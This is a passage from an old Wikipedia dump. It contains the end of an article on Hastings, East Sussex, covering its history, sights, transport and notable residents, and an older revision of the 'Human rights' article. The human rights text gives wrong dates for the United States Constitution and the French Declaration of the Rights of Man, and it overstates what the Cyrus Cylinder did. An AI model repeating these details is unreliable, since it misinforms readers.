In the [[13th century]] much of the town was washed away by the sea. In [[1339]] and [[1377]] the town was raided and burnt by the French, and seems then to have gone into a decline. As a port, Hastings suffered over the years from the lack of a natural harbour. There were many attempts to create a sheltered harbour, and in 1897 the foundation stone was laid of a large concrete structure; however there was insufficient money to complete the work, and the &quot;Harbour arm&quot; remains uncompleted. It was partially blown up to discourage possible use by German invasion forces during World War II. The fishing boats are still stored on and launched from the beach.

Hastings returned two [[Member of Parliament|Members of Parliament]] from the [[fourteenth century]] to [[1885]] since when it has returned one.

&lt;div style=&quot;float:right;width:280px;&quot;&gt;
[[Image:Television.JPG|none|thumb|280px|One of the most significant inventions of the last 100 years took place in Queens Arcade, Hastings]]
&lt;/div&gt;

Like many coastal towns, the population of Hastings grew significantly as a result of the construction of railway links and the fashionable growth of seaside holidays during the Victorian era.[[nineteenth century]].

==Geography==
&lt;div style=&quot;float:right;width:280px;&quot;&gt;
[[Image:Hastings_town_centre_postcard.jpg|none|thumb|280px|Hastings town centre and the Memorial from an old postcard]]
[[Image:Hastings_town_centre_present.jpg|none|thumb|280px|Hastings town centre in 2005]]
&lt;/div&gt;
Hastings is situated where the [[sandstone]] beds, at the heart of the [[Weald]], known geologically as the Hastings Sands, meet the [[English Channel]], forming tall cliffs to the east of the town. Hastings Old Town is in a sheltered valley between the East Hill and West Hill (on which the remains of the Castle stand). In Victorian times and later the town has spread westwards and northwards, and now forms a single urban centre with the more suburban area of [[St Leonards-on-Sea]] to the west. Roads from the Old Town valley lead towards the Victorian area of Clive Vale and the former village of [[Ore, Sussex|Ore]], from which &quot;The Ridge&quot;, marking the effective boundary of Hastings, extends north-westwards towards [[Battle, East Sussex|Battle]]. Beyond St Leonards, the western end of Hastings is marked by low-lying land in the direction of [[Bexhill-on-Sea]]. 

The sandstone cliffs have been the subject of considerable erosion in relatively recent times: much of the Castle was lost to the sea before the present sea defences and promenade were built, and a number of cliff-top houses are in danger of disappearing around the nearby village of [[Fairlight, East Sussex|Fairlight]]. 

The beach is mainly shingle, although wide areas of sand are uncovered at low tide. The town is generally built upon a series of low hills rising to 500 feet above sea level at &quot;The Ridge&quot; before falling back in the river valley further to the north.

The town also has a large Victorian park, [[Alexandra Park, Hastings|Alexandra Park]].

==Local government==

Hastings was a [[borough]] by [[1086]], and gave its name to the Rape of Hastings, one of the six [[Rape (district)|Rapes]] or administrative districts of Sussex.

As a borough, Hastings had a [[corporation]] consisting of a &quot;bailiff, jurats, and commonalty&quot;. By a Charter of [[Elizabeth I of England|Elizabeth I]] in [[1589]] the bailiff was replaced by a mayor.

With the reform of English local government in [[1888]], Hastings became a [[County Borough]], in other words responsible for all its local services, independent of the surrounding county, and long had its own police force.  County borough status was abolished by the [[Local Government Act 1972]] in [[1974]], and it became a district within the [[non-metropolitan county]] of East Sussex.

==Buildings==

[[Image:Net_shops_Hastings.jpg|right|thumb|250px|&quot;Net shops&quot;]]

The most important buildings from the late medieval period are the two churches in the Old Town, All Saints' and St Clement's.

On the beach near the Old Town are the so-called &quot;net shops&quot;, said to be unique to Hastings, but similar huts can be found in [[Whitby]] &amp;mdash; these are wooden constructions, weatherboarded and tarred, of various shapes and sizes, used for storage. The buildings were built tall and narrow to avoid payment of ground tax. The huts were never used for net drying; this is a popular misconception: nets were dried on the beach or on the piece of land known as the Minnis. 

[[Image:Pelham Crescent Hastings.JPG|left|thumb|250px|Pelham Crescent and St Mary in the Castle, with the castle ruins above]]

Not much remains of Hastings Castle apart from an arch of the chapel, some walls, and underground dungeons.

In Medieval times the town featured a Priory, dedicated to the Holy Trinity. Remains of this were found when the old cinema was demolished and a supermarket built on the corner of Cambridge Gardens; these remains have been preserved and buried under the site.  The area that was Priory Meadow Cricket Ground and latterly [[Priory Meadow Shopping Centre]] is the location of the Medieval Harbour, which was &quot;lost&quot; after several storms blocked the entrance.  The area is still below sea level and prone to flooding.

In front of the castle is an elegant Georgian terrace, Pelham Crescent, at the centre of which is the classical church of St Mary in the Castle (its name recalling the old chapel in the castle above) now in use as an arts centre. The building of the crescent and the church necessitated further cutting away of the castle hill cliffs.

For many years the traffic intersection at the town centre was marked by &quot;The Memorial&quot;, a clock tower commemorating Albert the [[Prince Consort]], subsequently demolished, following an arson attack in the 1970s.

For many years the commercial centre of the town was divided by concrete barriers separating pedestrians from vehicles.  The 1990s saw pedestrianisation of significant parts of the commercial heart of the town, restricting vehicle access to service vehicles only at all times. 

The bathing pool at [[St Leonards-on-Sea]] was regarded in its day as one of the best open-air swimming and diving complexes in Europe, but it closed some years ago, having become part of a [[holiday camp]]. The area is still known by locals as &quot;The Bathing Pool&quot;, which confuses some visitors as no pool exists.

The most notable recent architectural changes have been;

* Demolition of the 1930s [[Hastings railway station|railway station]] and its replacement by an impressive glass and steel structure opened in [[2004]]

* Construction of the [http://www.uch.ac.uk University Centre]. 
* Demolition of the Marlborough Hotel, Warrior Square and its sympathetic replacement with a new health centre and sheltered housing.

==Fishing==

Until the development of tourism, [[fishing]] was Hastings' major industry. Steve Peak's monumental book on the fishing fleet&lt;sup&gt;[[#References|2]]&lt;/sup&gt;, is a major work of scholarship and affection, available from the town's museums. The opening paragraph gives a flavour of the subject:

:&quot;The Hastings fishing industry has a long and unusual history. Fishing boats similar to those used at Hastings today have worked from almost the same beach under the Hastings cliffs for at least 400, and quite probably 600 or more years. Despite the exposed landing site the Hastings fleet has survived many difficult times because the town lies next to one of Britain's most prolific fishing grounds, Rye Bay.&quot;

Hastings being no longer a port, fishing vessels have to be registered at [[Rye, East Sussex|Rye]], and thus bear the letters R.X.

==Visitor attractions==

[[Image:Hastingspiersnow.jpg|right|thumb|250px|Hastings Pier and beach in the Winter]]

Hastings has a [[pier]], built in the 19th century, and wholly updated in the early 21st century. At one time there was another pier at St Leonards. Opposite the pier is the White Rock Theatre which mainly stages traditional seaside light entertainment shows. North of this and a little way inland are a 25m public swimming pool and leisure centre at Summerfields. This also has the local museum, law courts, police and fire stations nearby. 

Near the castle ruins, on the West Hill, are &quot;St Clement's Caves&quot;, partly natural, but mainly excavated by hand from the soft sandstone.
[[Image:Hastings furnicular railway.jpg|thumb|left|The ''East Hill Lift'': one of the two funicular railways in Hastings]]

There are a [[miniature railway]], fairground rides and amusement arcades catering for tourists near the Fishmarket.  The fishmarket includes the striking net shops, fisherman's museum and Hastings Sea Life Centre. Fishing boats are likely to be drawn up on the beach and there is a lifeboat station. Nearby is Hastings Old Town with a number of buildings dating from the earliest days of the town. There are two [[funicular railway]]s, known as the East Hill Lift and West Hill Lift respectively. Slightly inland is the small Stables Theatre, which shows mainly local productions.

To the east of the town is the [http://www.hastings.gov.uk/hcp/default.aspx Hastings Country Park]. This is an area of 2.67 km&amp;sup2; of lightly wooded and open land extending from hastings approximately 3 miles (5 km) along the cliff tops to [[Fairlight]]. 

Another family pool with wave machine and water slide is situated at Glyne Gap, on the coast mid-way between Bexhill and Hastings. Glyne Gap also sports a bowling alley and shopping centre.

There is a small cinema in Hastings but the nearest 'multiplex' is at Eastbourne.

There is also a yearly carnival, an &quot;Old Town Week&quot; during August, a beer festival in Alexandra Park, and an International Chess Congress. During Hastings week held each year around the 14th October the Hastings Boroughs Bonfire Society stages a torchlight procession through the streets, beach bonfire and spectacular firework display.

==Transport links==

Hastings is linked to [[London]] by two [[railway]] lines. The shorter is the former [[South Eastern Railway]] (SER) route to [[Charing Cross railway station|Charing Cross]] via [[Battle, East Sussex|Battle]] and [[Tunbridge Wells]], opened 1852, and the longer is the former [[London, Brighton and South Coast Railway]] (LBSCR) route to [[Victoria Station (London)|Victoria]] via [[Bexhill-on-Sea|Bexhill]], [[Eastbourne]] and [[Lewes]]. There is also a line via [[Rye, East Sussex|Rye]] to [[Ashford, Kent|Ashford]]. The ex-SER route suffered for many years from the narrowness of some of its tunnels, so that special locomotives and rolling stock had to be built to meet the restricted [[loading gauge]], for instance the [[Southern Railway (UK)|Southern Railway's]] [[Schools Class]] and later the flat-sided [[Hastings diesels]]. This problem was eventually overcome, permitting the electrification of this line in [[1996]] and much improved services. The town currently has four railway stations: from west to east they are West St Leonards, St Leonards Warrior Square, [[Hastings railway station|Hastings]], and Ore. West Marina station (on the LBSCR line) was very near to West St Leonards (on the SER line) and was closed some years ago. New stations have been proposed.

Hastings is linked to London by the [[A21 road|A21]] trunk road. There have been improvements in this road over the years, notably [[bypass]]es for [[Sevenoaks]], [[Tonbridge]], [[Pembury]] and [[Lamberhurst]], but the [[dual carriageway]] stops well short of Hastings. Long-term plans for a much improved east-west route and a Hastings bypass were abandoned in the [[1990s]], but a new road to [[Bexhill-on-Sea]] was announced in [[2004]] to relieve the congested coastal route.

Hastings at one time had a network of [[tram]]s, later replaced by [[trolleybus]]es. The &quot;Save our trolleys&quot; campaign was unsuccessful, and the town is now served by diesel buses.

== Economic and social status==
&lt;div style=&quot;float:right;width:220px;&quot;&gt;
[[Image:Hastings1.jpg|thumb|View of houses from the East Hill Lift top entrance|220px]]
[[Image:Hastings_night.jpg|thumb|View of houses from the East Hill Lift top entrance at night|220px]]
&lt;/div&gt;

Hastings has long been known as a retreat for artists and painters. For example, the pre-Raphaelite painters including [[Dante Gabriel Rossetti]] and [[William Holman Hunt]] admired the town for its light and clear air. In the [[19th century]] the towns became prosperous on the basis of the tourist trade from [[London]] and the [[Midlands]]. With the rise of international [[tourism]] from England it has declined substantially.  

The town expanded as part of the Government policy to disperse population out of London in the 1960s and 70s. This brought with it some light industry. The policy was discontinued and further town growth is considerably restricted by planning policies of Rother District, which has administrative control of much of the undeveloped land adjoining Hastings. It is now one of the most economically disadvantaged [[Districts of England|districts]] in south-east England.

There is, at first glance, no immediate clear reason why Hastings should suffer from disadvantage when compared, for example, to its large neighbour to the west, Brighton. It has a very attractive setting, many very fine houses and a remarkably conserved Old Town, and contains within its Borough boundaries a major clifftop country park. It has a well documented depth of history. A key work is ''Historic Hastings''&lt;sup&gt;[[#References|1]]&lt;/sup&gt; by a former curator of Hastings Museum. Its principal drawback must be the considerably longer commuting times by rail to London and poor roads.

Hastings is currently the site of major regeneration. Already a new rail station has been built and the University Centre Hastings (UCH) has been created to provide higher education in the town for the first time. ([http://www.hastings.ac.uk/ Hastings College of Arts and Technology] and [http://www.uch.ac.uk/ University Centre Hastings]) Further major capital investment is committed and a range of vocational training, community development and neighbourhood regeneration projects are in place. This is hampered by the split administration of the combined Hastings and Bexhill economic region between Hastings and Rother councils.

==Noted residents==

===Former Residents===
*[[John Logie Baird]], pioneer of television
*[[Kevin Ball]], ex-footballer and now coach at [[Sunderland A.F.C.]]
*[[Gareth Barry]], footballer for [[Aston Villa F.C.|Aston Villa]] (2005)
*[[Jo Brand]], comedienne
*[[John Bratby]], painter
*[[Catherine Cookson]], popular novelist
*[[Alistair Crowley]], occultist
*[[Pierre Teilhard de Chardin]], philosopher and theologian
*[[Simon Fuller]], pop-music manager (most famously of [[The Spice Girls]])
*[[Grey Owl]] (Archibald Belaney), author, nature conservation pioneer, and Canadian icon
*[[William Hale White]], novelist also known as &quot;Mark Rutherford&quot;
*[[Keane (band)|Keane]], a pop/rock band
*Steve Kinch, bass guitarist with [[Manfred Mann]] and formerly with [[Hazel O'Connor]].
*[[Desmond Llewelyn]], seen as 'Q' in the [[James Bond]] movie series
*[[Geoff Love]], band leader
*[[Graham McPherson]], aka 'Suggs', a singer who was born in Hastings though didn't live there long.
*[[Paul Merton]], TV presenter/comic
*[[Spike Milligan]], comedian and writer
*[[George Monger]], who at 17 won a Victoria Cross at [[Lucknow]] during the [[Indian Mutiny]]
*[[Eugénie de Montijo]], Empress of France
*[[Titus Oates]], instigator of the &quot;[[Popish Plot]]&quot;
*[[Alex Sanders]], King of the Witches
*[[Robert Tressell]], socialist novelist
*[[Winifred Wagner]], leader of the [[Bayreuth Festival]]
*[[Arthur Wellesley, 1st Duke of Wellington]]
*[[Paula Yates]], former TV Presenter
*[[Elsie Bowerman]], 1889-1973; [[Suffragette]] and [[RMS Titanic|''Titanic'']] survivor. One of the first women called to the Bar and the first to appear at the [[Old Bailey]].
*[[Marianne North]], 1830-1890, botanical painter with permanent gallery at [[Kew Gardens]], London

===Current Residents===
*[[Emma B (model)|Emma B]], model
*[[Kevin Carlyon]], High Priest of British White Witches
*[[David Gemmell]], novelist
*[[Alex Lester]], [[Radio 2]] presenter
*[[Fiona Pitt-Kethley]], writer
*[[Christopher Priest]], novelist

==Hastings in Film &amp; TV==
*[http://www.imdb.com/title/tt0310455/ Foyle's War] (TV, 2002 onwards)
*[http://www.imdb.com/title/tt0128239 Grey Owl] (1999)
*[http://www.imdb.com/title/tt0119347 I Want You] (1998)

==See also==
*[[Hastings embroidery]]
*[[William Parker School]]
*[[Hastings United FC]]
*[[Hastings Half Marathon]]

==References==
# John Manwaring Baines FSA, ''Historic Hastings''. F. J. Parsons Ltd, Hastings (1955 and 1963).
# Steve Peak, ''Fishermen of Hastings - 200 years of the Hastings Fishing Community'' (1985), 

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  </page>
  <page>
    <title>Human rights</title>
    <id>13831</id>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{rights}}
'''Human rights''' refers to the concept of [[human beings]] as having universal [[rights]], or status, regardless of legal [[jurisdiction]], and likewise other localizing factors, such as [[ethnicity]] and [[nationality]]. Philosophically, human rights are based on [[social contract]] theories and their conception of [[natural rights]].

The existence, validity and the content of human rights continue to be the subject to debate in philosophy and political science. However human rights are defined in [[international law]] &amp; covenants,  and further, in the domestic laws of many states. There is, however, a great deal of variance between how human rights norms are defined in these multiple contexts and how they are upheld in different local jurisdictions. 

Within particular states, &quot;human rights&quot; refer to safeguards for the individual against arbitrary use of power by the government regarding 1) the well being of individuals, 2) the freedom and autonomy of individuals, and 3) the representation of the human interest in government.
Also, &quot;human rights&quot; refer to small subset of values that should be available for implementation by individual, other individuals, or government.
These rights commonly include the [[right to life]], the right to an adequate [[standard of living]], freedom from [[torture]] and other mistreatment, [[freedom of religion]] and of [[freedom of expression|expression]], [[freedom of movement]], the right to [[self-determination]], the right to [[education]], and the right to participation in cultural and political life. These norms are based on the legal and political traditions of [[United Nations member states]] and are incorporated into [[international human rights instruments]] (see below).

With the exception of so called non-derogable human rights (the four most important are the right to life, the right to be free from slavery, the right to be free from torture and the right to be free from retroactive application of  penal laws), the UN recognises that human rights can be limited or even pushed aside during times of national emergency.[http://www.un.org/esa/socdev/enable/comp210.htm] &quot;the emergency must be actual, affect the whole population and the threat must be to the very existence of the nation. The declaration of emergency must also be a last resort and a temporary measure.&quot; Conduct in war is governed by [[International Humanitarian Law]].

==Human Rights in international law==
The [[1948]], the  [[Universal Declaration of Human Rights]] resolution was adopted virtually unanimously by the [[United Nations]] [[General Assembly]]. While not legally binding, it urged member nations to promote a number of human, civil, economic and social rights, asserting these rights are part of the &quot;foundation of freedom, justice and peace in the world&quot;. The declaration limits the behavior of the state, which now has duties to the citizen ([[corelative|rights-duty duality]]). Efforts to create a  legally binding form of the charter led to disagreements between various states over which rights were acceptable. Thus, two different covenents, the [[International Covenant on Civil and Political Rights]] (opened for signature 1966, entered into force March 23, 1976) [http://www.unhchr.ch/html/menu3/b/a_ccpr.htm] and the [[International Covenant on Economic, Social and Cultural Rights]] (opened for signature 1966, entered into force January 3, 1976) [http://www.unhchr.ch/html/menu3/b/a_cescr.htm] were created which bind those states that ratify them to protect the rights listed in the respective covenant. Together these three documents constitute the International Bill of Human Rights. There have also been a number of other conventions regarding particular rights, including the
*[[Convention on the Prevention and Punishment of the Crime of Genocide]] (entry into force: 1951) [http://www.unhchr.ch/html/menu3/b/p_genoci.htm]
*[[UN Convention Against Torture|Convention against Torture]] (entry into force: 1984) [http://www.unhchr.ch/html/menu3/b/h_cat39.htm]
*[[Convention on the Elimination of All Forms of Racial Discrimination]] (entry into force: 1969) [http://www.unhchr.ch/html/menu3/b/d_icerd.htm]
*[[Convention on the Elimination of All Forms of Discrimination Against Women]] (entry into force: 1981) [http://www.un.org/womenwatch/daw/cedaw/frame.htm]
*[[Convention on the Rights of the Child]] (entry into force: 1989) [http://www.unicef.org/crc/crc.htm]
*[[Rome Statute|Rome Statute of the International Criminal Court]] (entry into force: 2002)

A modern interpretation of the original Declaration of Human Rights was made in the [[Vienna Declaration and Programme of Action]][http://www.ohchr.org/english/law/vienna.htm], adopted by the World Conference on Human Rights in 1993. The degree of unanimity over these conventions, in terms of how many and which countries have ratified them vary, as does the degree to which they are respected by various states. The UN has set up a number of bodies to monitor and study human rights, under the leadership of the [[UN High Commissioner for Human Rights]] (HCHR). 

There are also many regional agreements and organisations governing human rights including the [[European Court of Human Rights]], the only international court with jurisdiction to deal with cases brought by individuals (not states). the [[African Commission on Human and Peoples' Rights]], [[Inter-American Commission on Human Rights]] and the [[Inter-American Court of Human Rights]].

==Types of human rights==
Human rights are sometimes divided into [[negative and positive rights]], although other categorizations also exist. Negative human rights, which follow mainly from the Anglo-American legal tradition, denote actions that a government should not take. These are codified in the [[United States Bill of Rights]], the [[English Bill of Rights]] and the [[Canadian Charter of Rights and Freedoms]] and include freedoms of [[freedom of speech|speech]], [[freedom of religion|religion]] and [[freedom of assembly|assembly]].

Positive human rights follow mainly from the [[Jean-Jacques Rousseau|Rousseauian]] Continental European legal tradition, denote rights that the state is obliged to protect and provide. Examples of such rights include: the rights to education, to a livelihood, to legal equality. Positive rights have been codified in the Universal Declaration of Human Rights and in many 20th-century [[list of national constitutions|constitutions]].

A categorization offered by [[Karel Vasak]] is the three generations of human rights: first-generation civil and political rights (right to life and political participation), second-generation economic, social and cultural rights (right to subsistence) and third-generation solidarity rights (right to peace, right to clean environment). Out of these generations, the third generation is the most debated and lacks both legal and political recognition.

Some theorists discredit these divisions by claiming that rights are interconnected. Arguably, for example, basic education is necessary for the right to political participation.

==History of human rights==
The best-known histories of the human rights movement tend to begin with ancient [[religion]]s and societies and show the evolution of concepts and institutions of human rights across civilizations. The roots of the notion of human rights are seen in [[ancient philosophy]] concerning the role of the individual in the state, but principles of civil and political rights stem from liberal freedoms advocated by [[John Stuart Mill]] in ''[[On Liberty]]''. The concepts of economic, social and cultural rights can be traced back to [[Hegel]]'s ''[[Elements of the Philosophy of Right]]''.

The [[Persian Empire]] established unprecedented principles of human rights under the reign of [[Cyrus the Great]]. After his conquest of Babylon in [[539 BC]], the king issued the [[Cyrus Cylinder]], discovered in [[1879]] and recognized today as the first human rights document. The cylinder declared that citizens of the empire would be allowed to practice their religious beliefs freely. The cylinder also abolished slavery, so all the palaces of the kings of Persia were built by paid workers in an era where slaves typically did such work. These two reforms were reflected in the biblical books of [[Books of Chronicles|Chronicles]] and [[Book of Ezra|Ezra]], which state that Cyrus released the followers of [[Judaism]] from slavery and allowed them to migrate back to their land. The cylinder now lies in the [[British Museum]], and a replica is kept at the [[United Nations headquarters]].

The origin of modern positive rights in international law may be traced to the creation of the [[International Labour Organization]] in [[1919]] as a Western response to the [[socialism|socialist ideology]] of the [[Russian Revolution of 1917]].

==Philosophical basis of human rights==
Numerous theoretical approaches have been advanced to explain how human rights become part of social expectations. The biological theory considers the comparative reproductive advantage of human social behavior based on empathy and altruism in the context of natural selection. Other theories hold that human rights codify moral behavior, which is a human, social product developed by a process of biological and social evolution (associated with [[David Hume|Hume]]) or as a sociological pattern of rule setting (as in the sociological theory of law and the work of [[Max Weber|Weber]]). This approach includes the notion that individuals in a society accept rules from legitimate authority in exchange for security and economic advantage (as in [[John Rawls|Rawls]]).

[[Natural law|Natural law theories]] base human rights on the “natural” moral order based on religious precepts, the assumed common understandings of justice, or the belief that moral behavior is a set of objectively valid prescriptions. In legend, literature, religion and political thought, justice (and eventually the concept of human rights) became socially constructed over time into complex webs of social interaction striving toward a social order in which human beings are treated fairly. Religious societies tend to try to justify human rights through religious arguments. For example, [[liberal movements within Islam]] have tried to use the [[Qur'an]] to support human rights in a Muslim context.

Other theories are based on human agency, positing such constructs for agreement to rules on the utilitarian principles mediated by public reasoning. The social evolution model is based on human needs and struggle that incorporates an analysis of the norm-creating process. Values become norms through the constitutive process of authoritative decision-making. Such norms may take the form of law through a particular form of authoritative decision making of institutions associated with a legal system. It is the process of public reasoning through human rights norm-creating that progressively weeds out the culturally bound behaviors that are inconsistent with contemporary human rights. In this sense, culturally particular norms adapt to evolving human rights standards as defined in [[list of national constitutions|national constitutions]] and [[international human rights instruments]].

Ultimately, the term &quot;human rights&quot; is often itself an appeal to a transcendent principle, without basing it on existing legal concepts. The term &quot;[[humanism]]&quot; refers to the developing doctrine of such [[universality|universally applicable]] values.

Some authors argue that nationalism and realism weaken human rights, while individualism and cosmopolitanism strengthen them.  This is argued by Demetrius Klitou in his book &quot;The Friends and Foes of Human Rights.&quot; Klitou also outlines the need for a &quot;human identity&quot; in order to empower the human rights movement.

In the [[Political philosophy|Western political tradition]], human rights are held to be &quot;inalienable&quot; and to belong to all humans. They are necessary for freedom and the maintenance of a &quot;reasonable&quot; quality of life. The basis of this political tradition, perhaps best exemplified in the [[United States Constitution]] ([[1783]]) and the French [[Declaration of the Rights of Man and of the Citizen]] ([[1793]]) is the [[equality of opportunity]] between individuals.

If a right is inalienable, that means it cannot be bestowed, granted, bartered, or sold away (e.g., one cannot sell oneself into [[slavery]]). Rights may also be non-derogable (not limited in times of national emergency); these often include the right to life, the right to be prosecuted only according to the laws that are in existence at the time of the offense, the right to be free from slavery, and the right to be free from torture.

==Human rights controversies==
There are a number of controversies regarding human rights including:
#Are human rights political, moral or legal entities (or all three at the same time)?
#Is there or should there be a hierarchy of human rights?
#Do human rights impede on [[sovereignty|state sovereignty]]? What if the state itself has ratified international conventions?
#Should human rights be used as a context for economic or military intervention? (Often leads to a worsening of the human rights situation in the target country)
#Questions of [[cultural relativism]]&amp;mdash;e.g. &quot;Political participation is not a part of African culture. Who are you to say that we should have political participation?&quot; These arguments can also be made on religious basis: e.g., &quot;In our religion marriages have always been arranged; why should we not continue this practice?&quot; Some arguments claim that human rights policies are a form of [[cultural imperialism]] in which powerful countries dictate which rights they consider most important to less powerful countries. The increasing number of third-world states that are party to international human rights treaties has made these arguments weaker, but they have not disappeared altogether.  It is also worthy of note that many who criticize the actions and policies of the first-world or industrialized nations, such as the perceived interference of the United States in foreign affairs, often set up the need for human rights in ''opposition'' to imperialism, making the relationship between the two concepts highly complex.
#Who should hold the moral duty to uphold rights? For civil and political rights, many would answer 'the state'. But in practice, it is frequently one's fellow citizens and civil society who need to shoulder this responsibility. It is not quite so clear who should be responsible for promoting economic, social and cultural rights (do we have a global duty?). This debate mirrors debates between [[communitarianism]] and [[cosmopolitanism]].
#Which rights should be defined as fundamental human rights? Should all human rights be considered equal?
#Are countries guilty of human rights violations when their governments substantially support foreign governments that do not adhere to the established principles of human rights (within their own countries or in other countries)? (For instance, the [[Kirkpatrick Doctrine]].)

== See also ==
===Similar topics===
*[[Children rights]]
*[[Civil rights]]
*[[Gay rights]]
*[[Inalienable rights]]
*[[Natural rights]]
*[[Ombudsman]]
*[[Prisoners' rights]]
*[[Rights]]
*[[Right of rebellion]], first theorized by [[John Locke]]
*[[Women's rights]]
*[[Bas de Gaay Fortman]]

=== General ===
*[[Cairo Declaration on Human Rights in Islam]] (1990)
*[[Democratic ideals]]
*[[Femicide]]
*[[Genocide]]
*[[Human rights abuse]]
*[[Human rights education]]
*[[International human rights instruments]]
*[[Social justice]]
*[[Slavery]]
*[[Trafficking in human beings]]
*[[Three generations of human rights]]
*[[Torture]]

=== Weblogs on Human Rights ===
[http://udhr.blogspot.com Human Rights Issues]

=== Human rights organizations ===
*[[Amnesty International]]
*[[Ansar Burney Trust]] - Working in Pakistan and the Middle East
*[[Bahrain Centre for Human Rights]]
*[[ARTICLE 19]]
*[[Carter Center]]
*[[Forum 18]]
*[[Freedom House]]
*[[Human Rights Campaign]]
*[[Human Rights Watch]]
*[[International Freedom of Expression Exchange]]
*[[International Helsinki Federation for Human Rights]]
*[[Memorial (society)]]
*[[Montagnard Foundation]]
*[[Network Against Prohibition]]
*[[Office of the United Nations High Commissioner for Human Rights]]
*[[Peace Brigades International]]
*[[Prisoners Overseas]]
*[[Southern Poverty Law Center]]

{{main|List of human rights articles by country}}
====Africa====
{{main|Human rights in Africa}}
*[[South Africa]]: [[Human rights in South Africa]]
*[[Sudan]]: [[Human rights in Sudan]]
*[[Tunisia]]: [[Human rights in Tunisia]]
*[[Uganda]]: [[Human rights in Uganda]]
*[[Zimbabwe]]: [[Human rights in Zimbabwe]]
**Note: Citizens of the African nations are provided supranational human rights protection by the [[African Commission on Human and Peoples' Rights]].

====Americas====
*[[Brazil]]: [[Human rights in Brazil]]
*[[Canada]]: [[Canadian Charter of Rights and Freedoms]] and [[Quebec Charter of Human Rights and Freedoms]]
*[[Cuba]]: [[Human rights in Cuba]]
*[[Mexico]]: [[Human rights in Mexico]]
*[[Peru]]: [[APRODEH]]
*[[United States|USA]]: [[Human rights in the United States]]
**Note: Citizens of the American nations enjoy varying degrees of supranational human rights protection from the [[Inter-American Commission on Human Rights]] and the [[Inter-American Court of Human Rights]].
&lt;!-- *[[Canada]]: Canada attempts to resolve tension between international human rights norms and sovereignty by allowing legislative primacy on a temporary and renewable basis [[notwithstanding clause|notwithstanding]] that the law infringes the [[Canadian Charter of Rights and Freedoms]]. *** What does this sentence mean? Which law is it that is infringing on the charter?--The laws enacted under legislative primacy? --&gt;
&lt;!-- 
answer to above, and for further comments and edits
The notwithstanding clause is an &quot;override&quot; clause in principle. If the provinces want to make a law that conflict with the Charter, the provinces use the notwithstanding clause to override the Charter. This ensures that the law is active, although it conflicts with the Charter. You can try researching Quebec's (a province) 101 bill. Also Quebec's law that makes Quebec's only official language French, in contrast to English and French in all the other provinces in Canada.
--&gt;

====Asia====
:''See [[Human rights in East Asia]] and [[Human rights in Central Asia]]''
*[[Bangladesh]]: [[Human rights in Bangladesh]]
*[[Cambodia]]: [[Human rights in Cambodia]]
*[[Kazakhstan]]: [[Human rights in Kazakhstan]]
*[[India]]: [[Human rights in India]]
*[[Iran]]: [[Human rights in Iran]]
*[[Iraq]]: [[Human rights in Iraq]]
*[[Japan]]: [[Human rights in Japan]]
*[[Malaysia]]: [[Human rights in Malaysia]]
*[[Mongolia]]: [[Human rights in Mongolia]]
*[[Myanmar]] (Burma): [[Human rights in Myanmar]]
*[[North Korea]]: [[Human rights in North Korea]]
*[[Pakistan]]: [[Human rights in Pakistan]]
*[[People's Republic of China|PRC]]: [[Human rights in the People's Republic of China]]
*[[Russia]]: [[Human rights in Russia]]
*[[South Korea]]: [[Human rights in South Korea]]
*[[Saudi Arabia]]: [[Human rights in Saudi Arabia]]
*[[Sri Lanka]]: [[Human rights in Sri Lanka]]
*[[Thailand]]:  [[Human rights in Thailand]]
*[[Turkmenistan]]: [[Human rights in Turkmenistan]]
*[[Uzbekistan]]: [[Human rights in Uzbekistan]]
*[[Vietnam]]: [[Human rights in Vietnam]]

====Europe====
* ''See [[Human rights in Europe]]''
** Note: The most powerful human rights organization is the [[European Court of Human Rights]], which is the only international court with jurisdiction to deal with cases brought by individuals (not states).

====Oceania====
*[[Australia]]: [[Human rights in Australia]]

==References==
* Steiner, Henry J. &amp; Alston, Philip. (1996). ''International Human Rights in Context: Law, Politics, Morals.'' Oxford: Clarendon Press. ISBN 019825437X
* Donnelly, Jack. (2003). ''Universal Human Rights in Theory &amp; Practice.'' 2nd ed. Ithaca &amp; London: Cornell University Press.
* Forsythe, David P. (2000). ''Human Rights in International Relations.'' Cambridge: Cambridge University Press.
* Ignatieff, Michael. ''Human Rights as Politics and Idolatry.'' Princeton &amp; Oxford: Princeton University Press.
* Shute, Stephen &amp; Hurley, Susan (eds.). (1993). ''On Human Rights: The Oxford Amnesty Lectures.'' New York: BasicBooks.
* Sunga, Lyal S. (1992) Individual Responsibility in International Law for Serious Human Rights Violations, Nijhoff Publishers.

==External links==
=== Information ===
*[http://www.press.jhu.edu/journals/human_rights_quarterly/index.html Human Rights Quarterly]
*[http://www.un.org/Overview/rights.html United Nations- Universal Declaration of Human Rights]
*[http://www.un.org/rights/ United Nations- Human Rights]
*[http://www.betterworldlinks.org/menschenrechte.htm Better World Links] Biggest Link List on Human Rights
*[http://www.tamilink.org.uk/ A Tamil human rights news portal]
*[http://www.rightsphilosophyforum.org/ Rights Philosophy Forum]
*[http://www.state.gov/g/drl/hr/c1470.htm Country reports on human rights] from the U.S. Department of State
*[http://www.ngochr.org/custom/index.php ngoCHR.org] &amp;ndash; Volunteer reporting on the United Nations Commission on Human Rights
*[http://www.le.ac.uk/library/hmb11/law/humanr.html University of Leicester, UK, list of sources and links.]
*[http://www.tamilnation.org/humanrights.htm Introduction to Human Rights &amp; Humanitarian Law]
*[http://www.detroitfocus.org/Issues/0410/CryForCompassion/index.html Photojournalist's approach to human rights in Sudan]
*[http://www.liberalislam.net/adam.html A Muslim approach to human rights]
*[http://www.missionandjustice.org Mission and Justice] &amp;ndash; Human Rights, Justice and Peace news from the Asia Pacific region.
*[http://www.tamilnation.org/humanrights/tamil.htm Sri Lanka &amp;ndash; Human Rights of the Tamil People]
*[http://www.childrensrights.ie/convention.php Children's Rights Alliance]
*[http://www.yihrc.org Human rights development in Asia]
*[http://plato.stanford.edu/entries/rights-human/ Stanford Encyclopedia of Philosophy entry]
*[http://www1.umn.edu/humanrts University of Minnesota Human Rights Library] - Over 23,000 documents and 4,000 links
*[http://www.hrusa.org University of Minnesota Human Rights Resource Center] - Creating and distributing Human Rights Education (HRE) resources, training activists, professionals, and students &amp; building advocacy networks
*[http://www.ifex.org International Freedom of Expression Exchange] - Monitoring censorship around the world
*[http://www.newsxs.com/en/preset/324 Human Rights News Headlines by NewsXS] - Aggregated news and RSS feed
* [http://www.ibiblio.org/rcip//sbh.html Survivor bashing - bias motivated hate crimes]
